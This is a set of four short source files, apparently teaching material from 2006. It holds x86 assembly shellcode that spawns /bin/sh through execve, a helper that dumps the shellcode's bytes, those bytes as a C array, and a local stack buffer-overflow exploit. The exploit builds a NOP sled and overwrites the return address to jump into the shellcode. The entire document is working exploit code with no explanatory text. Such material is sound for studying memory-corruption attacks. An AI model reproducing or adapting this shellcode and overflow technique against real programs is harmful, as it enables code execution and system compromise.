

Jan 23, 06 14:27

shellcode.S

Page 1/1

```

.global code_start
.global code_end

.data
code_start:
    jmp    callit
doit:
    popl   %esi           /* pointer to the path string */
    movl   %esi, %esp     /* move the stack somewhere safe */
    addl   $0x96, %esp

    movl   %esi, 0x8(%esi) /* put the &path right behind path */
    xorl   %ebx, %ebx     /* makes a zero in %ebx */
    movb   %bl, 0x7(%esi) /* null-terminate the path string */
    movl   %ebx, 0xc(%esi) /* null-terminate the array */
    leal   0x8(%esi), %ecx /* the address of the path string */
    pushl  %ebx           /* push 0, the environp arg */
    pushl  %ecx           /* push the address of the path string */
    pushl  %esi           /* push the path string */
    xorl   %eax, %eax
    movl   $59, %eax     /* set syscall number, 59 means execve() */
    pushl  %eax           /* push syscall number */
    int    $0x80         /* call the kernel */
callit:
    call   doit
    .string "/bin/shX"
code_end:

```

Jan 23, 06 9:05

print-shellcode.c

Page

```

#include <stdio.h>

extern void code_start();
extern void code_end();

int main() {
    int i, len;

    len = (long) code_end - (long) code_start;
    for (i = 0; i < len; i++)
        putchar(((char *)code_start)[i]);
    return 0;
}

```

Jan 23, 06 9:05

shellcode.h

Page 1/1

```
unsigned char shellcode[] = {
    0xeb, 0x24, 0x5e, 0x89, 0xf4, 0x81, 0xc4, 0x96,
    0x00, 0x00, 0x00, 0x89, 0x76, 0x08, 0x31, 0xdb,
    0x88, 0x5e, 0x07, 0x89, 0x5e, 0x0c, 0x8d, 0x4e,
    0x08, 0x53, 0x51, 0x56, 0x31, 0xc0, 0xb8, 0x3b,
    0x00, 0x00, 0x00, 0x50, 0xcd, 0x80, 0xe8, 0xd7,
    0xff, 0xff, 0xff, 0x2f, 0x62, 0x69, 0x6e, 0x2f,
    0x73, 0x68, 0x58, 0x00
};

unsigned int shellcode_len = 52;
```

Jan 23, 06 9:05

local-exploit.c

Page

```
#include <string.h>

#include "shellcode.h"

#define BUFLLEN 64
#define OVERFLOW_BUFLLEN (0x58+4+4)

#define NOP_OPCODE 0x90

char large_buf[OVERFLOW_BUFLLEN];

int main(void)
{
    int i;
    char small_buf[BUFLLEN];

    for (i = 0; i < OVERFLOW_BUFLLEN; i++)
        large_buf[i] = NOP_OPCODE;

    memcpy(large_buf+(OVERFLOW_BUFLLEN - shellcode_len - 16),
           shellcode, shellcode_len);
    *(long *) &large_buf[OVERFLOW_BUFLLEN - 4] = (long) small_buf;

    memcpy(&small_buf, large_buf, OVERFLOW_BUFLLEN);
    return 10;
}
```